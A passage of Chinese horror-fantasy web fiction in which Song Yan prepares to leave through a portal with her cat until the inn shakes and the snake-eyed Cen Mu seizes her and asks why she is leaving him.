红衣戏子道:“你进去后会掉进另一个时空碎片,带着你的猫去,不要再尝试改变过去或者未来了。” 宋言问道:“那你呢?你去杀了祂吗?” 戏子僵硬摇头:“我的本体离得太远,做不到这点,但神树不能同时存在两棵。” 宋言明白了,秩序打算先送她走,然后用这个假人去毁掉庭院里那课树。 这安排合情合理。 宋言抱起猫,往传送门走了一步,墙体却突然猛烈摇晃起来,宋言惯性使然,往后退了几步,脚下踩到一滩湿滑的血肉。 好像是她刚察看完,被剥皮的尸体。 宋言被这阵摇晃颠得七荤八素,脑子还在想,为什么会墙体会晃? 那具假人也失去支撑,倒在宋言身旁,宋言下意识想把它扶起来,伸出的手却摸到一截冰凉僵硬的皮肤。 宋言脑中所有程序此时恰好走完,回答了她之前的问题——不是墙体在晃,是整个客栈在晃。 皮肤主人的声音在她耳边响起,蛇一般冰冷滑腻。 “你要提前离开鬼屋,怎么不和我说一声?” 岑暮抓住她的手,力气大得难以挣脱,宋言的手被他带着抚上他的脸。 宋言忽然发觉,这皮其实不像死人皮,更像蛇皮,她从前没有仔细看过他,今日离得太近,她才发现岑暮的瞳孔是竖着的。 这对竖瞳映出她看他的神情,有点鄙夷,又有点无语。 岑暮接触她的那片皮肤很快泛出酡红,像喝醉了酒一样,他声音轻极了:“我费尽心思才把你带进来,你怎么又要丢下我走了?”